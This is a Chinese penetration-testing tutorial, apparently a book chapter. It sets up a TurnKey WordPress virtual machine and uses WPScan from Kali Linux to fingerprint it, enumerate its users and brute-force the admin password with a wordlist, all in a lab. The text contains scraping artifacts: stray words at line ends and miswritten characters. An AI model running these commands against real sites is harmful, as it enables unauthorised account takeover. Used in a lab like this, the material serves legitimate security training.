今天愈來愈多的企業利用SAAS(Software as a Service)工具應用在他們的業務中。例如,他們常常使用WordPress做爲他們網站的內容管理系統,或者在局域網中使用Drupal框架。從這些應用程序中找到漏洞,是很是有價值的。php
爲了收集用於測試的應用程序,Turnkey Linux是一個很是好的資源。Turnkey工具的官方網站是http://www.turnkeylinux.org。本節將下載最流行的WordPress Turnkey Linux發行版。html
獲取WordPress應用程序的具體操做步驟以下所示。linux
(1)在瀏覽器中輸入http://www.turnkeylinux.org地址,打開的界面如圖3.8所示。從該界面下載TurnkeyLinux。shell
圖3.8 Turnkey主頁json
(2)在該頁面列出了許多程序,能夠經過向下滾動鼠標查看。因爲篇幅的緣由,圖3.8只截取了一少部份內容。在該頁面中,用戶能夠嘗試使用各類軟件查找漏洞,並經過工具對這些應用程序來測試用戶的技術。本例中將選擇測試WordPress,向下滾動鼠標能夠看到Instant Search對話框,如圖3.9所示。瀏覽器
圖3.9 當即搜索安全
(3)在該對話框中輸入WordPress,而後按下回車鍵,將顯示如圖3.10所示的界面。ruby
圖3.10 WordPress應用程序app
(4)在該界面能夠看到WordPress程序已經找到,此時單擊WordPress-Blog Publishing Platform連接進入下載頁面,如圖3.11所示。框架
圖3.11 Turnkey下載頁面
(5)在該界面選擇下載ISO映像文件。單擊220MB ISO連接,將顯示如圖3.12所示的界面。
圖3.12 設置郵箱地址
(6)該界面提示爲了安全,須要填寫一個郵箱地址。填寫完後,單擊Subscribe and go straight to download按鈕,將開始下載Turnkey WordPress軟件。
本小節將介紹在VMware Workstation中安裝WordPress Turnkey Linux。關於VMware Workstation的使用,在第1章中已經詳細介紹過,這裏就再也不贅述。安裝WordPress Turnkey Linux的具體操做步驟以下所示。
(1)將前面下載的ISO文件導入到光驅中,而後啓動此虛擬機,將顯示如圖3.13所示的界面。
圖3.13 TURNKEY初始界面
(2)在該界面選擇Install to hard disk選項,按下「回車鍵」,將顯示如圖3.14所示的界面。
圖3.14 選擇分區方法
(3)該界面是選擇分區的方法。該系統提供了三種方法,分別是使用整個磁盤並設置LVM、使用整個磁盤和手動分區。這裏選擇第一種,而後單擊OK按鈕,將顯示如圖3.15所示的界面。
圖3.15 將數據寫入磁盤
(4)該界面顯示了分區的信息,這裏提示是否將寫入改變磁盤並配置LVM呢?若是想要從新分配分區的話,就單擊No按鈕,不然單擊Yes按鈕。本例中單擊Yes按鈕,將顯示如圖3.16所示的界面。
圖3.16 LVM信息
(5)該界面顯示了LVM的配置信息。單擊OK按鈕,將顯示如圖3.17所示的界面。
圖3.17 使用引導分區的卷組
(6)該界面提示使用引導分區的卷組來安裝系統。此時,單擊OK按鈕,將顯示如圖3.18所示的界面。
圖3.18 磁盤分區表
(7)該界面顯示了磁盤的分區表信息,此時提示是否要寫入數據。這裏單擊Yes按鈕,將顯示如圖3.19所示的界面。
圖3.19 複製數據到磁盤
(8)該界面顯示了複製數據的磁盤的一個進度。複製完後,將顯示如圖3.20所示的 界面。
圖3.20 安裝GRUB引導
(9)該界面提示是否安裝GRUB引導加載程序的主引導記錄。這裏單擊Yes按鈕,將顯示如圖3.21所示的界面。
圖3.21 是否重啓系統
(10)該界面顯示WordPress Turnkey Linux已經安裝完成,是否如今從新啓動系統。單擊Yes按鈕,將顯示如圖3.22所示的界面。
圖3.22 Root密碼
(11)在該界面爲Root用戶設置一個密碼。輸入密碼後,單擊OK按鈕,將顯示如圖3.23所示的界面。
圖3.23 Root確認密碼
(12)該界面要求再次爲Root用戶輸入相同的密碼,單擊OK按鈕,將顯示如圖3.24所示的界面。
圖3.24 MySQL密碼
(13)在該界面爲MySQL服務的Root用戶設置一個密碼,設置完後單擊OK按鈕,將顯示如圖3.25所示的界面。
圖3.25 MySQL確認密碼
(14)在該界面再次爲MySQL服務的Root用戶輸入相同的密碼,而後單擊OK按鈕,將顯示如圖3.26所示的界面。
圖3.26 Wordpress用戶admin密碼
(15)在該界面要求爲Wordpress的用戶admin設置一個密碼,輸入密碼後,單擊OK按鈕,將顯示如圖3.27所示的界面。
圖3.27 Wordpress用戶admin確認密碼
(16)在該界面再次爲Wordpress用戶admin輸入相同的密碼,而後單擊OK按鈕,將顯示如圖3.28所示的界面。
圖3.28 設置郵件地址
(17)該界面提示爲Wordpress用戶admin設置一個郵件地址,這裏使用默認的admin@example.com。而後單擊Apply按鈕,將顯示如圖3.29所示的界面。
圖3.29 Initialize Hub Services
(18)該界面顯示了初始化Hub服務信息,在該界面單擊Skip按鈕,將顯示如圖3.30所示的界面。
圖3.30 Security updates
(19)該界面提示是否如今安裝安全更新,這裏單擊Install按鈕,將顯示如圖3.31所示的界面。
圖3.31 WORDPRESS appliance services
(20)該界面顯示了WordPress應用服務的詳細信息,如Web地址、Web shell地址和端口、Webmin地址、PHPMyAdmin地址和端口及SSH/SFTP地址和端口等。此時,代表WordPress Turnkey Linux就可使用了。
上一小節介紹了WordPress虛擬機的安裝。如今就能夠啓動WordPress虛擬機,在Kali Linux下使用WPScan攻擊它。WPScan是一個黑盒安全掃描器,它容許用戶查找Word Press安裝版的一些已知的安全漏洞。本小節將介紹使用WPScan工具攻擊WordPress應用程序。
WPScan在Kali Linux中已經默認安裝。它的語法格式以下所示:
wpscan [選項] [測試]
經常使用的選項以下所示。
【實例3-1】使用WPScan攻擊WordPress程序的具體操做步驟以下所示。
(1)在Kali Linux下,查看WPScan的幫助信息。執行命令以下所示:
root@localhost:~# wpscan -h _______________________________________________________________ __ _______ _____ \ \ / / __ \ / ____| \ \ /\ / /| |__) | (___ ___ __ _ _ __ \ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \ \ /\ / | | ____) | (__| (_| | | | | \/ \/ |_| |_____/ \___|\__,_|_| |_| WordPress Security Scanner by the WPScan Team Version v2.2 Sponsored by the RandomStorm Open Source Initiative @_WPScan_, @ethicalhack3r, @erwan_lr, @gbrindisi, @_FireFart_ _______________________________________________________________ Help : Some values are settable in conf/browser.conf.json : user-agent, proxy, proxy-auth, threads, cache timeout and request timeout ...... m conf/browser.conf.json). --basic-auth <username:password> Set the HTTP Basic authentication --wordlist | -w <wordlist> Supply a wordlist for the password bruter and do the brute. --threads | -t <number of threads> The number of threads to use when multi-threading requests. (will override the value from conf/browser. conf.json) --username | -U <username> Only brute force the supplied username. --help | -h This help screen. --verbose | -v Verbose output. Examples : -Further help ... ruby ./wpscan.rb --help -Do 'non-intrusive' checks ... ruby ./wpscan.rb --url www.example.com -Do wordlist password brute force on enumerated users using 50 threads ... ruby ./wpscan.rb --url www.example.com --wordlist darkc0de.lst --threads 50 -Do wordlist password brute force on the 'admin' username only ... ruby ./wpscan.rb --url www.example.com --wordlist darkc0de.lst --username admin ......
執行以上命令後,會輸出大量信息。輸出的信息中顯示了WPScan的版本信息、使用方法及WPScan的例子等。因爲篇幅的緣由,這裏貼了一部份內容,其餘使用省略號(……)取代。
(2)使用WPScan攻擊WordPress虛擬機。本例中,WordPress的IP地址是192.168.41.130。執行命令以下所示:
root@localhost:~# wpscan -u 192.168.41.130 _______________________________________________________________ __ _______ _____ \ \ / / __ \ / ____| \ \ /\ / /| |__) | (___ ___ __ _ _ __ \ \/ \/ /| ___/ \___ \ / __|/ _` | '_ \ \ /\ / | | ____) | (__| (_| | | | | \/ \/ |_| |_____/ \___|\__,_|_| |_| WordPress Security Scanner by the WPScan Team Version v2.2 Sponsored by the RandomStorm Open Source Initiative @_WPScan_, @ethicalhack3r, @erwan_lr, @gbrindisi, @_FireFart_ _______________________________________________________________ | URL: http://192.168.41.130/ | Started: Thu Apr 17 13:49:37 2014 [!] The WordPress 'http://192.168.41.130/readme.html' file exists [+] Interesting header: SERVER: Apache/2.2.22 (Debian) [+] Interesting header: X-POWERED-BY: PHP/5.4.4-14+deb7u8 [+] XML-RPC Interface available under: http://192.168.41.130/xmlrpc.php [+] WordPress version 3.6.1 identified from meta generator [+] WordPress theme in use: twentythirteen v1.0 | Name: twentythirteen v1.0 | Location: http://192.168.41.130/wp-content/themes/twentythirteen/ [+] Enumerating plugins from passive detection ... No plugins found [+] Finished: Thu Apr 17 13:49:41 2014 [+] Memory used: 2.414 MB [+] Elapsed time: 00:00:03
輸出的信息顯示了WPScan一個簡單的攻擊過程。
(3)列出用戶名列表,執行命令以下所示:
root@localhost:~# wpscan -u 192.168.41.130 -e u vp _______________________________________________________________ __ _______ _____ \ \ / / __ \ / ____| \ \ /\ / /| |__) | (___ ___ __ _ _ __ \ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \ \ /\ / | | ____) | (__| (_| | | | | \/ \/ |_| |_____/ \___|\__,_|_| |_| WordPress Security Scanner by the WPScan Team Version v2.2 Sponsored by the RandomStorm Open Source Initiative @_WPScan_, @ethicalhack3r, @erwan_lr, @gbrindisi, @_FireFart_ _______________________________________________________________ | URL: http://192.168.41.130/ | Started: Thu Apr 17 13:50:49 2014 [!] The WordPress 'http://192.168.41.130/readme.html' file exists [+] Interesting header: SERVER: Apache/2.2.22 (Debian) [+] Interesting header: X-POWERED-BY: PHP/5.4.4-14+deb7u8 [+] XML-RPC Interface available under: http://192.168.41.130/xmlrpc.php [+] WordPress version 3.6.1 identified from meta generator [+] WordPress theme in use: twentythirteen v1.0 | Name: twentythirteen v1.0 | Location: http://192.168.41.130/wp-content/themes/twentythirteen/ [+] Enumerating plugins from passive detection ... No plugins found [+] Enumerating usernames ... [+] We found the following 1 user/s: +----+-------+-------+ | Id | Login | Name | +----+-------+-------+ | 1 | admin | admin | +----+-------+-------+ [+] Finished: Thu Apr 17 13:50:54 2014 [+] Memory used: 2.379 MB [+] Elapsed time: 00:00:04
從輸出的信息中能夠看到當前系統中只有一個用戶,名爲admin。
(4)爲WPScan指定一個wordlist文件,使用--wordlist <path to file>選項。執行命令以下所示:
root@localhost:~# wpscan -u 192.168.41.130 -e u --wordlist /root/ wordlist.txt _______________________________________________________________ __ _______ _____ \ \ / / __ \ / ____| \ \ /\ / /| |__) | (___ ___ __ _ _ __ \ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \ \ /\ / | | ____) | (__| (_| | | | | \/ \/ |_| |_____/ \___|\__,_|_| |_| WordPress Security Scanner by the WPScan Team Version v2.2 Sponsored by the RandomStorm Open Source Initiative @_WPScan_, @ethicalhack3r, @erwan_lr, @gbrindisi, @_FireFart_ _______________________________________________________________ | URL: http://192.168.41.130/ | Started: Thu Apr 17 13:54:51 2014 [!] The WordPress 'http://192.168.41.130/readme.html' file exists [+] Interesting header: SERVER: Apache/2.2.22 (Debian) [+] Interesting header: X-POWERED-BY: PHP/5.4.4-14+deb7u8 [+] XML-RPC Interface available under: http://192.168.41.130/xmlrpc.php [+] WordPress version 3.6.1 identified from meta generator [+] WordPress theme in use: twentythirteen v1.0 | Name: twentythirteen v1.0 | Location: http://192.168.41.130/wp-content/themes/twentythirteen/ [+] Enumerating plugins from passive detection ... No plugins found [+] Enumerating usernames ... [+] We found the following 1 user/s: +----+-------+-------+ | Id | Login | Name | +----+-------+-------+ | 1 | admin | admin | +----+-------+-------+ [+] Starting the password brute forcer Brute Forcing 'admin' Time: 00:00:00 < > (59 / 20575) 0.28% ETA: 00:00:00 [SUCCESS] Login : admin Password : 123456 +----+-------+-------+----------+ | Id | Login | Name | Password | +----+-------+-------+----------+ | 1 | admin | admin | 123456 | +----+-------+-------+----------+ [+] Finished: Thu Apr 17 13:54:56 2014 [+] Memory used: 2.508 MB [+] Elapsed time: 00:00:05
從輸出的信息中,能夠看到WordPress用戶admin的密碼已被破解出。